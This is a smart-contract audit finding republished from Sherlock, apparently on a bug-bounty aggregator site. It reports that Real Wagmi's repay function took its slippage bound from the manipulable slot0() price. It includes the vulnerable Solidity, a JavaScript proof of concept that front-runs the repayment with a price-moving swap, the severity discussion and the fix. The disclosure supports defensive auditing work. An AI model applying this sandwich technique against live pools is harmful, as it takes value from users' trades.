Skip to content
Business logic Audit finding Advanced

No slippage protection during repayment due to dynamic slippage params and easily influenced `slot0()`

The repayment function lacks slippage protection because it derives the minimum output from a manipulable on-chain price and then calculates slippage parameters dynamically from that same price. An attacker could front-run a repayment to worsen the swap rate, reducing the repayer's profit.

0x52 Follow with 0xJuda, 0xMaroutis and 14 others

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2023-10-real-wagmi-judging/issues/109

Found by

0x52, 0xJuda, 0xMaroutis, 0xblackskull, HHK, IceBear, Kral01, MohammedRizwan, Nyx, kaysoft, lil.eth, lucifero, p-tsanev, peanuts, pks_, talfao, tsvetanovv The repayment function lacks slippage protection. It relies on slot0() to calculate sqrtLimitPrice, which in turn determines amounts for restoring liquidation. The dynamic calculation of slippage parameters based on these values leaves the function without adequate slippage protection, potentially reducing profit for the repayer.

Vulnerability Detail

The absence of slippage protection can be attributed to two key reasons. Firstly, the sqrtPrice is derived from slot0(), which can be easily manipulated:

Solidity
     function _getCurrentSqrtPriceX96(
        bool zeroForA,
        address tokenA,
        address tokenB,
        uint24 fee
    ) private view returns (uint160 sqrtPriceX96) {
        if (!zeroForA) {
            (tokenA, tokenB) = (tokenB, tokenA);
        }
        address poolAddress = computePoolAddress(tokenA, tokenB, fee);
        (sqrtPriceX96, , , , , , ) = IUniswapV3Pool(poolAddress).slot0(); //@audit-issue can be easily manipulated
    }

The calculated sqrtPriceX96 is used to determine the amounts for restoring liquidation and the number of holdTokens to be swapped for saleTokens:

Solidity
(uint256 holdTokenAmountIn, uint256 amount0, uint256 amount1) = _getHoldTokenAmountIn(
                params.zeroForSaleToken,
                cache.tickLower,
                cache.tickUpper,
                cache.sqrtPriceX96,
                loan.liquidity,
                cache.holdTokenDebt
            );

After that, the number of SaleTokemAmountOut is gained based on the sqrtPrice via QuoterV2.

Then, the slippage params are calculated amountOutMinimum: (saleTokenAmountOut * params.slippageBP1000) / Constants.BPS }) However, the saleTokenAmountOut is a dynamic number calculated on the current state of the blockchain, based on the calculations mentioned above. This will lead to the situation that the swap will always satisfy the amountOutMinimum.

As a result, if the repayment of the user is sandwiched (frontrunned), the profit of the repayer is decreased till the repayment satisfies the restored liquidity.

Proof of concept

A Proof of Concept (PoC) demonstrates the issue with comments. Although the swap does not significantly impact a strongly founded pool, it does result in a loss of a few dollars for the repayer.

JavaScript
       let amountWBTC = ethers.utils.parseUnits("0.05", 8); //token0
        const deadline = (await time.latest()) + 60;
        const minLeverageDesired = 50;
        const maxCollateralWBTC = amountWBTC.div(minLeverageDesired);

        const loans = [
            {
                liquidity: nftpos[3].liquidity,
                tokenId: nftpos[3].tokenId,
            },
        ];

        const swapParams: ApproveSwapAndPay.SwapParamsStruct = {
            swapTarget: constants.AddressZero,
            swapAmountInDataIndex: 0,
            maxGasForCall: 0,
            swapData: swapData,
        };

let  params = {
            internalSwapPoolfee: 500,
            saleToken: WETH_ADDRESS,
            holdToken: WBTC_ADDRESS,
            minHoldTokenOut: amountWBTC,
            maxCollateral: maxCollateralWBTC,
            externalSwap: swapParams,
            loans: loans,
        };

await borrowingManager.connect(bob).borrow(params, deadline);

const borrowingKey = await borrowingManager.userBorrowingKeys(bob.address, 0);
        const swapParamsRep: ApproveSwapAndPay.SwapParamsStruct = {
            swapTarget: constants.AddressZero,
            swapAmountInDataIndex: 0,
            maxGasForCall: 0,
            swapData: swapData,
        };

       
        amountWBTC = ethers.utils.parseUnits("0.06", 8); //token0

let swapping: ISwapRouter.ExactInputSingleParamsStruct = {
            tokenIn: WBTC_ADDRESS,
            tokenOut: WETH_ADDRESS,
            fee: 500,
            recipient: alice.address,
            deadline: deadline,
            amountIn: ethers.utils.parseUnits("100", 8),
            amountOutMinimum: 0,
            sqrtPriceLimitX96: 0
        };
        await router.connect(alice).exactInputSingle(swapping);
        console.log("Swap success");

 let paramsRep: LiquidityBorrowingManager.RepayParamsStruct = {
            isEmergency: false,
            internalSwapPoolfee: 500,
            externalSwap: swapParamsRep,
            borrowingKey: borrowingKey,
            swapSlippageBP1000: 990, //<=slippage simulated
        };
 await borrowingManager.connect(bob).repay(paramsRep, deadline);
        // Without swap
// Balance of hold token after repay:  BigNumber { value: "993951415" }
// Balance of sale token after repay:  BigNumber { value: "99005137946252426108" }
// When swap
// Balance of hold token after repay:  BigNumber { value: "993951415" }
// Balance of sale token after repay:  BigNumber { value: "99000233164653177505" }

The following table shows difference of recieved sale token:

Swap before repay transaction Token Balance of user after Repay
No WETH 99005137946252426108
Yes WETH 99000233164653177505

The difference in the profit after repayment is 4904781599248603 weis, which is at the current market price of around 8 USD. The profit loss will depend on the liquidity in the pool, which depends on the type of pool and related tokens.

Impact

The absence of slippage protection results in potential profit loss for the repayer.

Code Snippet

Slot0 is used here Dynamic slippage params are created here - saleTokenAmount is dynamic variable calculated on the state of blockchain.

Tool used

Manual Review

Recommendation

To address this issue, avoid relying on slot0 and instead utilize Uniswap TWAP. Additionally, consider manually setting values for amountOutMin for swaps based on data acquired before repayment.

Discussion

fann95

I think the severity level is medium since exchange within the pool is not the only way, there is also an external swap.

fann95

Fixed: https://github.com/RealWagmi/wagmi-leverage/commit/bf84623009654acee8ee26ba2805068d2806e745

Czar102

I think the severity level is medium since exchange within the pool is not the only way, there is also an external swap.

Even though it concerns only a subset of the functionalities of the protocol, the impact seems to be of high severity. Please let me know if that's not the case.

fann95

I think the severity level is medium since exchange within the pool is not the only way, there is also an external swap.

Even though it concerns only a subset of the functionalities of the protocol, the impact seems to be of high severity. Please let me know if that's not the case.

I leave the decision up to you.

Czar102

I'll leave it high severity because of the reason mentioned above.

IAm0x52

Fix looks good. sqrtPriceLimitX96 is now used to determine if a swap has been frontrun. If the simulated swap results in a higher (or lower for sells) price limit than expected the transaction will revert.

The original report as published on Sherlock, by 0x52. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the contract uses the easily manipulated spot price from slot0() to compute both the expected swap output and the slippage tolerance, so the tolerance always matches the manipulated price.

Impact

The repayer could lose profit because the swap executes at a worse rate without reverting, though the loss depends on pool liquidity.

What the attacker needed

A borrowing position; ability to front-run the repayment transaction

The fix

The issue was fixed by using sqrtPriceLimitX96 to detect front-running and revert if the price limit is worse than expected.

How it was found

  1. Set up a borrowing position with the protocol.
  2. Perform a swap on the pool to move the price before the repayment.
  3. Call the repay function with the manipulated price state.
  4. Observe that the repayment succeeds but yields less sale token than without the swap.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you swap tokens, slippage protection sets a minimum amount you are willing to receive. Here, that minimum was calculated from a price that an attacker could move just before your transaction, so the protection did not work. The attacker could make your swap give you less, costing you money.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by 0x52

View all

211 more disclosed reports, best first.

More from Real Wagmi #2

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.